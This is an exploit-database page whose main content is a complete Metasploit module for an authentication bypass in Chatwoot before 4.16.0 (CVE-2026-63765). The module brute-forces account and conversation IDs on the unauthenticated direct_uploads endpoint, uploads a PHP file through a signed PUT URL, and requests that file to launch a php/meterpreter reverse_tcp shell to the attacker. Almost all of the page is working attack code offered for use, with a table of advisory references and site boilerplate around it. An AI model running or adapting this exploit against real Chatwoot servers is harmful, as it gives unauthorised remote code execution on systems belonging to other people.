Chatwoot 4.15.0 Unauthenticated ActiveStorage Direct Upload
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Exploit for CVE-2026-63765 | 1 Nov 202612:39 | – | githubexploit | |
| CVE-2026-63765 | 23 Jul 202617:52 | – | attackerkb | |
| CVE-2026-63765 | 1 Nov 202613:07 | – | circl | |
| CVE-2026-63765 | 23 Jul 202617:52 | – | cve | |
| CVE-2026-63765 Chatwoot < 4.16.0 Unauthenticated ActiveStorage Direct Upload Arbitrary Blob Creation | 23 Jul 202617:52 | – | cvelist | |
| EUVD-2026-48360 | 23 Jul 202617:52 | – | euvd | |
| CVE-2026-63765 | 23 Jul 202617:52 | – | mend | |
| CVE-2026-63765 | 23 Jul 202619:17 | – | nvd | |
| PT-2026-64147 | 23 Jul 202600:00 | – | ptsecurity | |
| CVE-2026-63765: Missing Authentication for Critical Function | 23 Jul 202600:00 | – | rapid7 |
10
==================================================================================================================================
| # Title : Chatwoot 4.15.0 Unauthenticated ActiveStorage Direct Upload |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits) |
| # Vendor : https://www.chatwoot.com/fr |
==================================================================================================================================
[+] Summary : unauthenticated authorization bypass in Chatwoot versions prior to 4.16.0.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Chatwoot Unauthenticated ActiveStorage Direct Upload RCE',
'Description' => %q{
This module exploits an authentication bypass vulnerability in Chatwoot
versions prior to 4.16.0. The DirectUploadsController lacks the
authenticate_user! guard, and ensure_current_account is short-circuited
when current_user is nil. This allows unauthenticated attackers to create
arbitrary ActiveStorage blobs and obtain signed PUT URLs to write arbitrary
files to the application's storage backend.
If the storage backend is served by a PHP-capable web server, the uploaded
PHP payload can be executed, resulting in remote code execution.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-63765'],
['CWE', '306'],
['URL', 'https://github.com/n3chik/CVE-2026-63765'],
['URL', 'https://github.com/chatwoot/chatwoot/pull/15039']
],
'DisclosureDate' => '2026-07-23',
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [
['Automatic Target', {}]
],
'Privileged' => false,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'RPORT' => 3000,
'SSL' => false,
'TARGETURI' => '/'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptInt.new('ACCOUNT_ID', [false, 'Account ID to target (default: brute force 1-20)']),
OptInt.new('CONVERSATION_ID', [false, 'Conversation display_id (default: brute force 1-50)']),
OptInt.new('MAX_ACCOUNT_ID', [true, 'Maximum account ID to brute force', 20]),
OptInt.new('MAX_CONV_ID', [true, 'Maximum conversation ID to brute force', 50]),
OptString.new('TARGETURI', [true, 'Base path to Chatwoot', '/'])
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return CheckCode::Unknown('No response from server') unless res
pair = find_vulnerable_pair
if pair
return CheckCode::Vulnerable("Account ID #{pair[0]}, Conversation ID #{pair[1]}")
end
CheckCode::Safe('No vulnerable direct_uploads endpoint found')
end
def exploit
pair = nil
if datastore['ACCOUNT_ID'] && datastore['CONVERSATION_ID']
pair = [datastore['ACCOUNT_ID'], datastore['CONVERSATION_ID']]
print_status("Using provided pair: account=#{pair[0]}, conv=#{pair[1]}")
else
print_status('Scanning for vulnerable (account_id, conversation_id) pair...')
pair = find_vulnerable_pair
unless pair
fail_with(Failure::NotFound, 'No vulnerable pair found. Target may be patched or not Chatwoot.')
end
end
account_id, conv_id = pair
print_good("Found vulnerable pair: account=#{account_id}, conversation=#{conv_id}")
payload_data = payload.encoded
filename = "#{Rex::Text.rand_text_alpha(8)}.php"
content_type = 'application/x-httpd-php'
checksum = Base64.strict_encode64(Digest::MD5.digest(payload_data))
blob_payload = {
'blob' => {
'filename' => filename,
'byte_size' => payload_data.length,
'checksum' => checksum,
'content_type' => content_type
}
}
upload_uri = normalize_uri(
target_uri.path,
'api', 'v1', 'accounts', account_id.to_s,
'conversations', conv_id.to_s, 'direct_uploads'
)
print_status("Creating blob via #{upload_uri}")
res = send_request_cgi({
'method' => 'POST',
'uri' => upload_uri,
'ctype' => 'application/json',
'data' => JSON.generate(blob_payload)
})
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Blob creation failed: HTTP #{res&.code}")
end
begin
blob_json = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Invalid JSON response from blob creation')
end
unless blob_json['direct_upload'] && blob_json['direct_upload']['url']
fail_with(Failure::UnexpectedReply, 'No direct_upload URL in response. Target may be patched.')
end
signed_id = blob_json['signed_id']
disk_key = blob_json['key']
put_url = blob_json['direct_upload']['url']
put_headers = blob_json['direct_upload']['headers'] || {}
print_good("Blob created: signed_id=#{signed_id}")
print_status("Storage key: #{disk_key}")
print_status('Uploading payload via signed PUT URL...')
put_headers['Content-Type'] = content_type
put_headers['Content-MD5'] = checksum
res = send_request_cgi({
'method' => 'PUT',
'uri' => put_url,
'data' => payload_data,
'headers' => put_headers
}, 30)
unless res && [200, 201, 204].include?(res.code)
fail_with(Failure::UnexpectedReply, "Payload upload failed: HTTP #{res&.code}")
end
print_good("Payload uploaded successfully (HTTP #{res.code})")
shell_urls = []
redirect_uri = normalize_uri(
target_uri.path,
'rails', 'active_storage', 'blobs', 'redirect',
signed_id, filename
)
print_status("Checking redirect route: #{redirect_uri}")
res = send_request_cgi({
'method' => 'GET',
'uri' => redirect_uri
}, 10)
if res && res.code == 200 && res.body == payload_data
if res.redirection
shell_urls << res.redirection.to_s
else
shell_urls << full_uri(redirect_uri)
end
print_good("Payload accessible at: #{shell_urls.last}")
end
if disk_key
candidates = [
normalize_uri(target_uri.path, 'storage', disk_key),
normalize_uri(target_uri.path, 'rails', 'active_storage', 'disk', disk_key) + "?filename=#{filename}"
]
candidates.each do |candidate|
res = send_request_cgi({
'method' => 'GET',
'uri' => candidate
}, 10)
if res && res.code == 200
shell_urls << full_uri(candidate)
print_good("Payload accessible at: #{shell_urls.last}")
break
end
end
end
if shell_urls.empty?
fail_with(Failure::Unknown, 'Payload uploaded but no accessible URL found. Check storage configuration.')
end
shell_url = shell_urls.first
print_status("Executing payload at: #{shell_url}")
send_request_cgi({
'method' => 'GET',
'uri' => shell_url
}, 5)
print_good('Payload triggered. Check your handler for a session.')
print_warning("If no session appears, verify that #{shell_url} is executable by the web server.")
end
private
def find_vulnerable_pair
max_a = datastore['MAX_ACCOUNT_ID']
max_c = datastore['MAX_CONV_ID']
probe_blob = {
'blob' => {
'filename' => 'probe.txt',
'byte_size' => 5,
'checksum' => Base64.strict_encode64(Digest::MD5.digest('probe')),
'content_type' => 'text/plain'
}
}
(1..max_a).each do |a|
(1..max_c).each do |c|
uri = normalize_uri(
target_uri.path,
'api', 'v1', 'accounts', a.to_s,
'conversations', c.to_s, 'direct_uploads'
)
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => 'application/json',
'data' => JSON.generate(probe_blob)
}, 10)
next unless res
if res.code == 200
begin
body = JSON.parse(res.body)
if body['direct_upload'] && body['direct_upload']['url']
return [a, c]
end
rescue JSON::ParserError
next
end
elsif res.code == 401
vprint_status("Account #{a} conv #{c}: 401 (patched)")
end
end
end
nil
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Nov 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.18.2
CVSS 48.8
EPSS0.00481
SSVC